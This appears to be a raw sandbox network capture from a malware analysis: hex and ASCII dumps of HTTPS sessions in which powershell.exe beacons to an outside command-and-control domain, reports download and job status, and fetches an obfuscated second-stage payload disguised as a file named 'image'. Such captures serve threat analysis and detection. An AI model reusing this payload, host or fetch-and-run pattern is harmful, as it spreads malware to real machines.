                                                                                                                                          Data Ascii: %hwrjrc{dxi<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#P1GoRje1cFWUPUmKP1qDXkH0LGqYOUCLWmH0X1eW`T82LDuKP1GoRTORLmmYdEG`T1D4RTOJ`FOHPoOiW14n[DerelKqNYGkLkm0RVq{UjOoLDuKP1GoRTORc0qYSlu`VDq7W2mRbmqXcFSKSECoRji``FKHWlyQe{CMRTO
                                                                                                                                          2024-11-08 10:27:18 UTC1369INData Raw: 53 44 47 30 56 55 48 34 65 44 76 78 54 55 4f 4e 57 44 57 34 55 59 71 4b 4c 54 31 78 57 6c 79 51 57 46 75 35 55 6d 53 5b 4c 44 30 49 57 59 6d 60 53 44 34 75 55 6c 30 57 4f 57 71 54 52 55 53 5b 57 46 69 71 55 54 53 56 60 30 71 54 57 59 71 4e 60 6a 54 76 55 6d 65 56 60 6a 30 37 57 55 57 51 57 46 53 71 55 31 53 57 4c 6a 30 70 54 55 4b 4e 64 6a 4b 70 55 59 71 4b 64 44 30 54 5b 32 71 4e 57 46 53 70 56 6a 53 43 4c 44 34 59 52 6c 75 5b 57 30 54 31 56 6a 65 57 4c 30 71 59 57 55 4f 4f 60 6d 4b 71 55 30 65 57 64 57 6d 54 56 59 65 51 53 44 30 34 55 56 6d 4b 4f 31 53 53 63 33 65 4b 50 31 47 6f 5b 44 69 4a 4f 54 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 48 62 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 52 60 56 48 78 54 6b 57
                                                                                                                                          Data Ascii: SDG0VUH4eDvxTUONWDW4UYqKLT1xWlyQWFu5UmS[LD0IWYm`SD4uUl0WOWqTRUS[WFiqUTSV`0qTWYqN`jTvUmeV`j07WUWQWFSqU1SWLj0pTUKNdjKpUYqKdD0T[2qNWFSpVjSCLD4YRlu[W0T1VjeWL0qYWUOO`mKqU0eWdWmTVYeQSD04UVmKO1SSc3eKP1Go[DiJOTSSc3eKP1GoRTOC[1mHb14E`TGoRTOC[1mEPVeKP1GoRTOR`VHxTkW
                                                                                                                                          2024-11-08 10:27:18 UTC1197INData Raw: 6a 4f 6f 4c 44 75 44 54 56 39 38 23 28 28 3a 0b 25 7b 6c 71 6d 66 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 52 6a 69 56 64 56 47 55 50 55 6d 4b 50 31 71 77 5b 44 69 52 65 33 4f 37 63 32 5b 4c 4c 30 58 30 5b 44 53 46 65 54 38 49 54 6c 79 60 53 46 79 75 56 56 71 4f 4f 44 30 45 4f 56 71 68 4c 6b 43 33 56 6c 30 72 62 30 71 54 52 59 5b 60 63 57 54 7b 55 6f 71 73 64 6d 6d 54 54 6c 75 4e 53 30 6a 79 55 54 65 46 63 57 6d 70 52 6c 6d 51 57 30 5b 75 56 6c 71 6a 60 54 38 54 52 6c 71 4e 57 44 71 75 56 6a 53 72 63 57 6d 75 57 55 47 4e 64 6d 71 71 56 6a 53 4f 64 6a 34 54 54 6c 79 4e
                                                                                                                                          Data Ascii: jOoLDuDTV98#((:%{lqmf<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#RjiVdVGUPUmKP1qw[DiRe3O7c2[LL0X0[DSFeT8ITly`SFyuVVqOOD0EOVqhLkC3Vl0rb0qTRY[`cWT{UoqsdmmTTluNS0jyUTeFcWmpRlmQW0[uVlqj`T8TRlqNWDquVjSrcWmuWUGNdmqqVjSOdj4TTlyN


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          4192.168.11.2049712104.21.86.2194437764C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:18 UTC290OUTPOST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c32118357cd045bdae8de7ee724b9e2a608322 HTTP/1.1
                                                                                                                                          Content-Type: application/json
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          Content-Length: 308
                                                                                                                                          2024-11-08 10:27:18 UTC308OUTData Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 75 79 74 31 6e 38 64 65 64 39 66 62 33 38 30 2e 63 6f 6d 2f 66 69 6c 65 32 2f 66 65 37 37 39 33 61 34 64 34 66 35 30 61 66 62 32 62 39 65 66 66 37 62 39 32 63 35 32 66 64 39 66 62 65 35 37 36 62 64 33 33 35 34 65 34 61 66 32 36 38 34 39 30 35 63 61 37 64 32 36 61 31 36 36 34 32 39 63 36 66 65 63 65 32 38 39 38 33 33 64 35 37 37 38 33 39 35 31 65 31 65 36 64 62 36 30 61 63 61 37 65 37 31 34 33 34 37 35 38 33 37 38 64 62 32 32 66 64 34 37 35 38 65 36 36 36 38 66 36 33 33 38 37 64 62 37 31 39 39 64 34 39 31 61 61 65 31 66 38 64 64 62 34 35 36 65 39 35 32 61 61 35 36 30 31 64 31 64 39 66 66 61 61 32 63 64 35 65 30 36 30 32 34 36 62 35 62 31 62 35 33 38 36 30 61
                                                                                                                                          Data Ascii: [ "\"begin download https://uyt1n8ded9fb380.com/file2/fe7793a4d4f50afb2b9eff7b92c52fd9fbe576bd3354e4af2684905ca7d26a166429c6fece289833d57783951e1e6db60aca7e71434758378db22fd4758e6668f63387db7199d491aae1f8ddb456e952aa5601d1d9ffaa2cd5e060246b5b1b53860a
                                                                                                                                          2024-11-08 10:27:19 UTC945INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:19 GMT
                                                                                                                                          Content-Length: 0
                                                                                                                                          Connection: close
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vo%2BH32OA%2FKiJBGZF4lA1xCd7GP0miE47jlWB117fBxsyXFR%2BQ0hAm%2FmtaOKx%2BynaiysL51lnsCVYa%2BGPmiZ%2BP7sZ6jg0nfJ4BIdf7W2qEpRiG81jhP2G9%2F7pA8t5sGrn5ek6g37msoZ3"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=43249&sent=51&recv=47&lost=0&retrans=0&sent_bytes=18586&recv_bytes=16667&delivery_rate=2341619&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4dea99b8d7295-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=102497&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=1258&delivery_rate=37305&cwnd=252&unsent_bytes=0&cid=cbc61821a54eca93&ts=839&x=0"


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          5192.168.11.2049713104.21.86.2194437764C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:19 UTC370OUTGET /file2/fe7793a4d4f50afb2b9eff7b92c52fd9fbe576bd3354e4af2684905ca7d26a166429c6fece289833d57783951e1e6db60aca7e71434758378db22fd4758e6668f63387db7199d491aae1f8ddb456e952aa5601d1d9ffaa2cd5e060246b5b1b53860a9c49a715a2bf6b16f4760ce34712 HTTP/1.1
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          2024-11-08 10:27:20 UTC1050INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:20 GMT
                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                          Content-Length: 21770
                                                                                                                                          Connection: close
                                                                                                                                          content-disposition: attachment; filename=image; filename*=UTF-8''image
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RGdIy8WvBMg7f0AZV0CaNDQGC7XpxXjDZjWjM5PVLtjcotlKo3jKhdKSBYEVHLt3LPegTRz0sxg7AedAodzq2dXZy7vP%2FkMo2TFvoWMFVY2b5ttvbKjRlVYO7bHmrFTtC5InOilmO5d%2B"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=38527&sent=49&recv=41&lost=0&retrans=0&sent_bytes=19220&recv_bytes=13849&delivery_rate=1606160&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4deb049ce0cdd-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=102161&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2849&recv_bytes=1008&delivery_rate=37465&cwnd=252&unsent_bytes=0&cid=f4883a94a70a80f5&ts=853&x=0"
                                                                                                                                          2024-11-08 10:27:20 UTC319INData Raw: 25 72 6d 72 79 6d 72 7b 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 52 54 4f 43 5b 31 6d 45 50 6c 4b 6b 4c 30 4b 34 58 57 62 30 63 6d 69 55 54 6c 30 69 57 32 69 72 57 54 65 46 4c 46 47 45 65 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 59 4c 31 35 76 58 33 30 72 65 57 6e 79 4c 46 75 60 63 56 79 7b 56 6d 5b 56 64 56 4b 43 4c 44 75 4b 50 31 47 6f 52 54 4f 73 55 6a 4f 6f 4c 44 75 4b 50 31 47 6f 52 54 57 76 52 47 57 72 63 47 65 56 4c 45 57 49 54 56 75 5b 5b 31 6d 73 52 6c 79 60 4c 6c 79 30 52 54 57 52 65 6c 50 78 4f 59 4f 68 4c 6a 5b 73 52 54 4f 52 63 56 47 59 64 46
                                                                                                                                          Data Ascii: %rmrymr{<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#RTOC[1mEPlKkL0K4XWb0cmiUTl0iW2irWTeFLFGEe14E`TGoRTOC[1mEPVeYL15vX30reWnyLFu`cVy{Vm[VdVKCLDuKP1GoRTOsUjOoLDuKP1GoRTWvRGWrcGeVLEWITVu[[1msRly`Lly0RTWRelPxOYOhLj[sRTORcVGYdF
                                                                                                                                          2024-11-08 10:27:20 UTC1369INData Raw: 71 6a 52 44 30 4e 50 33 6d 43 5b 31 6d 45 50 6f 43 60 60 54 47 77 55 47 62 30 65 6c 53 45 50 56 38 56 53 30 5b 37 5b 44 4c 79 54 57 6d 58 54 6c 38 4b 50 7b 47 53 56 57 69 52 63 31 6d 45 54 6c 30 69 57 32 69 72 57 54 65 46 4c 46 47 45 60 32 43 4b 52 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 54 33 75 6a 54 30 65 56 56 6d 69 54 60 30 71 45 54 6c 6d 43 60 57 4b 75 63 49 4f 60 54 31 4b 73 58 6b 4b 56 64 6a 6d 49 4f 59 5b 6a 50 31 4b 72 5b 54 65 72 64 6c 53 45 4f 46 65 52 53 7b 6a 7b 58 6c 30 35 65 6d 6d 59 54 6f 43 68 63 56 4f 30 55 46 6a 31 60 54 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 43 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 71 4b 53 57 4b 33 5b 45 48 30 62 33 48 78 53 6c 75 4b 52 47 4b 77 56 6d 4f 42 63 56 47 59 64
                                                                                                                                          Data Ascii: qjRD0NP3mC[1mEPoC``TGwUGb0elSEPV8VS0[7[DLyTWmXTl8KP{GSVWiRc1mETl0iW2irWTeFLFGE`2CKRIONP3mC[1mEPVeKP1GoT3ujT0eVVmiT`0qETlmC`WKucIO`T1KsXkKVdjmIOY[jP1Kr[TerdlSEOFeRS{j{Xl05emmYToChcVO0UFj1`TSSc3eKP1GoRTOC[1mCLDuKP1GoRTOC[1mEPVqKSWK3[EH0b3HxSluKRGKwVmOBcVGYd
                                                                                                                                          2024-11-08 10:27:20 UTC1369INData Raw: 76 52 31 6d 45 50 56 65 4b 50 33 75 4e 50 33 62 76 52 31 6d 45 50 56 65 4b 50 30 4b 70 58 6b 4f 56 65 56 53 45 50 55 6d 4b 53 44 57 32 55 32 62 76 52 31 6d 45 50 56 65 4b 52 46 53 77 58 57 65 35 63 44 75 45 54 6c 71 68 4c 30 5b 30 5b 44 4f 43 65 47 6e 7b 54 56 65 4f 50 33 75 4e 50 33 6d 43 5b 31 6d 45 50 6b 65 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 52 47 4b 34 5b 57 69 7b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 53 56 79 30 5b 46 31 34 62 6d 71 55 4c 57 69 60 57 31 71 55 56 6d 69 46 4c 57 71 58 55 6b 43 4b 50 7b 47 56 57 56 75 73 5b 31 71 46 57 6f 6d 68 50 31 47 31 57 45 4f 56 4c 47 4b 75 63 49 4f 60 54 31 47 73 54 6a 65 56 64 6c 53 49 63 49 57 5b 56 47 4b 76 58 6b 48 31 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 54
                                                                                                                                          Data Ascii: vR1mEPVeKP3uNP3bvR1mEPVeKP0KpXkOVeVSEPUmKSDW2U2bvR1mEPVeKRFSwXWe5cDuETlqhL0[0[DOCeGn{TVeOP3uNP3mC[1mEPkeDTV8oRTOC[1mEPVeKRGK4[Wi{UjOqPVeKP1GoRTOC[1mEPVeKSVy0[F14bmqULWi`W1qUVmiFLWqXUkCKP{GVWVus[1qFWomhP1G1WEOVLGKucIO`T1GsTjeVdlSIcIW[VGKvXkH1O1SSc3eKP1GoRT
                                                                                                                                          2024-11-08 10:27:20 UTC1369INData Raw: 64 55 57 49 58 57 65 35 63 47 69 54 63 7b 5b 57 63 57 5b 6e 56 6a 57 46 62 33 4b 47 52 6b 57 6a 53 30 5b 37 52 31 4f 52 52 6c 4b 74 50 6b 47 6a 53 57 71 76 58 6a 65 56 54 57 6d 58 54 6c 38 4d 54 55 43 4d 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 4f 5b 30 47 58 50 6f 65 68 52 46 75 6f 57 31 54 34 54 31 6d 49 57 6f 57 5b 4c 31 6e 30 58 31 69 52 62 46 48 78 4f 49 5b 60 53 30 5b 70 58 33 34 72 65 33 53 49 63 49 5b 68 5b 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 4b 75 58 6b 4f 4b 5b 31 75 45 54 6f 43 4b 53 45 43 6f 55 54 53 7b 5b 31 71 49 60 33 65 4c 57 32 66 76 52 54 4f 52 63 56 47 59 64 46 79 53 63 6c 76 76 56 6d 69 4f 65 57 53 49 57 6f 57 60 4c 30 4b 77 55 32 6d 43 60 33 47 55 62 32 4b 4d 54 31 48 32 53 47 47 77 5b 31 6d 45 50 56 65
                                                                                                                                          Data Ascii: dUWIXWe5cGiTc{[WcW[nVjWFb3KGRkWjS0[7R1ORRlKtPkGjSWqvXjeVTWmXTl8MTUCMSGGw[1mEPVeKP1GoRTOO[0GXPoehRFuoW1T4T1mIWoW[L1n0X1iRbFHxOI[`S0[pX34re3SIcI[h[{CMRTOC[1mEPVeKP1KuXkOK[1uEToCKSECoUTS{[1qI`3eLW2fvRTORcVGYdFySclvvVmiOeWSIWoW`L0KwU2mC`3GUb2KMT1H2SGGw[1mEPVe
                                                                                                                                          2024-11-08 10:27:20 UTC517INData Raw: 44 79 73 63 47 43 4c 63 44 4b 6e 5b 44 65 6e 5b 44 38 70 62 44 69 60 56 47 4b 57 56 6d 62 79 65 30 57 49 53 6b 43 69 50 33 65 76 53 47 47 77 55 6a 4f 6f 4c 44 75 4b 50 31 47 6f 52 54 4f 52 63 56 47 59 64 46 79 57 53 31 58 76 58 54 4f 43 4e 54 6d 47 62 49 5b 69 57 7b 53 31 57 54 65 46 4c 46 47 45 50 59 53 57 53 31 58 76 58 54 4f 43 60 33 53 49 57 6f 53 6b 53 57 71 33 58 6a 65 52 63 46 4f 71 50 59 53 53 4c 6c 69 76 58 6a 65 52 54 57 6d 58 54 6c 38 4b 50 30 4b 49 58 57 65 35 63 47 53 75 53 6f 53 60 54 55 43 4d 52 54 4f 43 5b 31 6d 49 63 46 30 4b 50 33 69 57 56 6d 69 4e 4c 44 79 56 50 6c 69 6a 53 33 65 6f 55 47 5b 42 60 46 53 49 5b 33 65 4a 53 30 71 76 58 6a 65 56 54 57 6d 58 54 6c 38 4d 54 31 48 32 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 57 76
                                                                                                                                          Data Ascii: DyscGCLcDKn[Den[D8pbDi`VGKWVmbye0WISkCiP3evSGGwUjOoLDuKP1GoRTORcVGYdFyWS1XvXTOCNTmGbI[iW{S1WTeFLFGEPYSWS1XvXTOC`3SIWoSkSWq3XjeRcFOqPYSSLlivXjeRTWmXTl8KP0KIXWe5cGSuSoS`TUCMRTOC[1mIcF0KP3iWVmiNLDyVPlijS3eoUG[B`FSI[3eJS0qvXjeVTWmXTl8MT1H2SGGw[1mEPVeKP1GoRTWv
                                                                                                                                          2024-11-08 10:27:20 UTC1369INData Raw: 75 60 63 56 79 7b 56 6d 5b 42 60 46 53 49 5b 33 65 5b 57 7b 57 73 52 54 65 4a 63 47 6e 78 63 49 57 4b 53 31 34 77 56 6d 65 4e 62 6a 6d 6f 4c 44 75 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 44 76 52 31 6d 45 50 56 65 4b 52 45 43 4e 50 33 62 76 52 31 53 53 63 33 65 4b 50 31 47 6f 52 59 6d 42 57 46 53 49 53 6f 6d 6a 50 31 48 76 58 54 65 57 5b 33 53 49 63 49 53 60 56 44 6d 4e 50 33 6d 43 5b 31 6d 45 50 56 75 6b 4c 30 4b 6e 58 33 34 52 57 56 47 59 4c 56 79 4b 53 45 43 6f 54 6b 4b 56 4c 44 79 57 54 6c 69 6a 53 30 54 32 53 47 47 77 5b 31 6d 45 50 56 65 4b 64 54 4b 58 56 57 65 72 4c 44 6d 49 56 6f 5b 6b 60 54 4b 6e 52 54 69 4e 63 33 48 7b 52 6b 43 4b 53 33 79 30 5b 44 65 56 64 56 53 75 53 6f 4f 4b 53 31 71 72 56 6c 31 34 64 57 71 55 50
                                                                                                                                          Data Ascii: u`cVy{Vm[B`FSI[3e[W{WsRTeJcGnxcIWKS14wVmeNbjmoLDuDTV8oRTOC[1mEPVeKP1GoRTDvR1mEPVeKRECNP3bvR1SSc3eKP1GoRYmBWFSISomjP1HvXTeW[3SIcIS`VDmNP3mC[1mEPVukL0KnX34RWVGYLVyKSECoTkKVLDyWTlijS0T2SGGw[1mEPVeKdTKXVWerLDmIVo[k`TKnRTiNc3H{RkCKS3y0[DeVdVSuSoOKS1qrVl14dWqUP
                                                                                                                                          2024-11-08 10:27:20 UTC1369INData Raw: 43 65 47 54 78 57 6c 71 68 4c 6b 57 73 58 32 6d 43 64 44 38 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 75 68 63 57 58 7b 57 6a 65 72 65 47 71 55 50 55 6d 4b 53 56 53 72 5b 44 4c 79 53 57 6d 58 54 6c 79 51 65 7b 43 4d 52 54 4f 43 5b 31 6d 48 4c 44 34 45 5b 7b 43 4d 52 54 4f 43 5b 31 6d 47 62 44 69 57 63 46 79 59 57 6b 40 30 53 30 47 73 56 56 65 4b 60 30 71 76 58 6a 65 57 5b 30 71 49 4e 56 79 6b 64 54 4b 30 58 6b 4f 53 5b 30 71 58 60 49 43 6b 4c 30 47 6f 56 57 65 60 4c 47 71 58 52 56 65 4a 53 6d 4b 76 58 6d 65 56 65 6c 53 58 54 6d 53 60 57 31 34 33 58 6c 30 52 64 6a 6d 48 55 6c 79 5b 4c 6b 6d 30 56 6a 69 4f 65 54 6d 6f 4c 44 75 44 54 56 38 6f 52 54 4f 43 5b 31 6d 34 50 6d 4f 60 56 47 48 79 58 33 31 31 5b 31 71 49 56 6c 69 68 52 44 34 72 52 54
                                                                                                                                          Data Ascii: CeGTxWlqhLkWsX2mCdD82LDuKP1GoRTOC[1mEPVuhcWX{WjereGqUPUmKSVSr[DLySWmXTlyQe{CMRTOC[1mHLD4E[{CMRTOC[1mGbDiWcFyYWk@0S0GsVVeK`0qvXjeW[0qINVykdTK0XkOS[0qX`ICkL0GoVWe`LGqXRVeJSmKvXmeVelSXTmS`W143Xl0RdjmHUly[Lkm0VjiOeTmoLDuDTV8oRTOC[1m4PmO`VGHyX311[1qIVlihRD4rRT
                                                                                                                                          2024-11-08 10:27:20 UTC1369INData Raw: 53 30 5b 34 5b 44 69 73 5b 30 4f 47 65 44 30 54 57 49 43 6b 57 55 48 34 63 56 53 48 5b 46 69 6b 63 57 5b 6b 57 47 65 72 60 6c 4f 75 4e 59 71 68 4c 6d 6e 76 56 44 5b 6a 62 46 4b 75 54 6f 5b 6a 4c 31 34 6b 54 55 4f 56 64 56 4f 75 57 6f 57 6a 53 6d 71 72 58 33 34 4e 62 46 48 78 4f 56 4f 57 53 7b 6d 7b 58 57 65 4e 62 47 71 58 55 6c 4f 57 4c 33 79 37 5b 44 65 56 65 44 75 55 4f 54 53 68 4c 6b 57 37 56 6d 62 30 4c 47 57 48 52 6f 5b 68 56 44 48 76 54 56 30 56 63 30 6d 58 56 6f 43 68 4c 31 71 42 56 6a 62 79 62 46 4b 70 62 31 34 45 60 54 47 6f 52 54 4f 42 4e 54 53 53 63 33 65 4b 50 31 47 6f 54 33 75 6a 54 30 65 56 56 6d 69 54 60 30 71 45 54 6c 6d 43 60 33 47 58 55 6d 5b 53 57 54 34 50 58 31 65 56 65 54 38 32 4c 44 75 44 54 56 38 6f 52 54 4f 43 5b 33 47 59 56 56 38
                                                                                                                                          Data Ascii: S0[4[Dis[0OGeD0TWICkWUH4cVSH[FikcW[kWGer`lOuNYqhLmnvVD[jbFKuTo[jL14kTUOVdVOuWoWjSmqrX34NbFHxOVOWS{m{XWeNbGqXUlOWL3y7[DeVeDuUOTShLkW7Vmb0LGWHRo[hVDHvTV0Vc0mXVoChL1qBVjbybFKpb14E`TGoRTOBNTSSc3eKP1GoT3ujT0eVVmiT`0qETlmC`3GXUm[SWT4PX1eVeT82LDuDTV8oRTOC[3GYVV8
                                                                                                                                          2024-11-08 10:27:20 UTC1369INData Raw: 47 53 57 53 6c 47 57 57 54 71 76 54 57 57 6a 55 6d 47 56 62 47 4b 53 57 44 34 42 54 6a 65 31 50 6d 65 73 53 6a 4b 4e 57 54 5b 48 57 47 57 46 55 6d 57 57 53 59 6d 53 57 56 53 4e 54 57 54 30 63 6d 47 75 64 44 4b 52 4c 56 79 42 57 47 65 6a 50 33 4b 57 53 6a 57 52 57 54 5b 51 57 57 57 47 64 57 47 57 5b 44 71 53 57 6f 43 74 54 56 30 72 50 6d 4b 47 4c 54 4b 54 56 46 53 42 5b 57 57 46 52 47 53 57 53 6c 47 60 4c 44 54 76 54 57 57 52 62 6d 47 57 4f 55 4f 53 57 44 5b 42 54 6a 5b 72 50 6d 65 75 5b 44 4b 4e 57 54 5b 48 57 57 57 46 55 6c 50 76 52 6f 4f 53 57 57 4b 74 54 57 5b 76 63 6d 47 75 62 44 4b 52 53 33 53 42 57 45 43 46 50 6c 57 73 53 6a 57 54 57 54 5b 60 5b 45 43 4a 62 47 47 57 54 6a 5b 53 57 6c 79 52 54 57 53 42 50 6d 48 76 4c 54 4b 54 63 56 53 45 58 54 57 46
                                                                                                                                          Data Ascii: GSWSlGWWTqvTWWjUmGVbGKSWD4BTje1PmesSjKNWT[HWGWFUmWWSYmSWVSNTWT0cmGudDKRLVyBWGejP3KWSjWRWT[QWWWGdWGW[DqSWoCtTV0rPmKGLTKTVFSB[WWFRGSWSlG`LDTvTWWRbmGWOUOSWD[BTj[rPmeu[DKNWT[HWWWFUlPvRoOSWWKtTW[vcmGubDKRS3SBWECFPlWsSjWTWT[`[ECJbGGWTj[SWlyRTWSBPmHvLTKTcVSEXTWF
                                                                                                                                          2024-11-08 10:27:20 UTC1369INData Raw: 5b 47 57 57 57 46 55 47 47 57 55 6a 4b 53 57 56 79 42 54 57 65 6a 50 6d 44 76 53 6a 4b 55 60 31 5b 45 58 7b 43 46 52 44 38 47 53 6c 47 6a 4c 44 71 51 54 57 57 6a 57 6d 47 59 55 6b 4f 53 63 6f 43 42 54 6b 43 56 50 6d 65 74 5b 44 4f 68 53 54 5b 4b 57 47 57 46 52 6d 47 57 53 55 57 53 57 54 34 42 54 57 5b 46 50 6d 47 59 4e 54 4b 53 4c 6f 53 42 57 45 4f 6a 50 6d 53 73 53 6a 4b 68 4c 44 5b 4a 54 57 57 46 63 6d 47 57 55 6a 4b 53 57 56 79 42 54 57 65 31 50 6d 48 7b 5b 44 4b 5b 63 6c 53 45 58 6c 75 46 53 6a 30 47 53 6c 47 57 57 54 6e 33 54 57 57 6e 55 6d 47 56 63 47 4b 53 63 55 57 42 54 6b 47 56 50 6d 6a 7b 5b 44 4b 60 4c 44 5b 44 58 7b 43 46 54 57 57 57 53 6c 34 53 57 54 34 52 54 57 65 4e 4c 30 47 70 50 6a 4b 55 53 56 79 42 56 57 5b 46 50 33 53 57 53 6a 69 5b 4c
                                                                                                                                          Data Ascii: [GWWWFUGGWUjKSWVyBTWejPmDvSjKU`1[EX{CFRD8GSlGjLDqQTWWjWmGYUkOScoCBTkCVPmet[DOhST[KWGWFRmGWSUWSWT4BTW[FPmGYNTKSLoSBWEOjPmSsSjKhLD[JTWWFcmGWUjKSWVyBTWe1PmH{[DK[clSEXluFSj0GSlGWWTn3TWWnUmGVcGKScUWBTkGVPmj{[DK`LD[DX{CFTWWWSl4SWT4RTWeNL0GpPjKUSVyBVW[FP3SWSji[L


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          6192.168.11.2049714104.21.86.2194437764C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:21 UTC289OUTPOST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c32118e709431fe4b02fc12aa8629a8bc5b99f HTTP/1.1
                                                                                                                                          Content-Type: application/json
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          Content-Length: 85
                                                                                                                                          2024-11-08 10:27:21 UTC85OUTData Raw: 5b 0d 0a 20 20 20 20 22 5c 22 4a 6f 62 20 69 73 20 72 75 6e 6e 69 6e 67 2e 20 4a 6f 62 20 49 44 3a 20 31 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 43 68 65 63 6b 20 6d 75 74 65 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d
                                                                                                                                          Data Ascii: [ "\"Job is running. Job ID: 1\"", "\"Check mutext\"", "----------"]
                                                                                                                                          2024-11-08 10:27:22 UTC939INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:22 GMT
                                                                                                                                          Content-Length: 0
                                                                                                                                          Connection: close
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VGEoaRns8rQus%2FFcGJbca%2Ba4z41YhZd%2Frfu%2BMFircbeBP0E1R1lqePW92IaCBHlppgyOTzsBzTnTjYPn1kv0ioZaZDaK7tx2wswKCmtj72HQk41GLBgW1iYKN01g%2Bhw0gmC5sLqDS77r"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
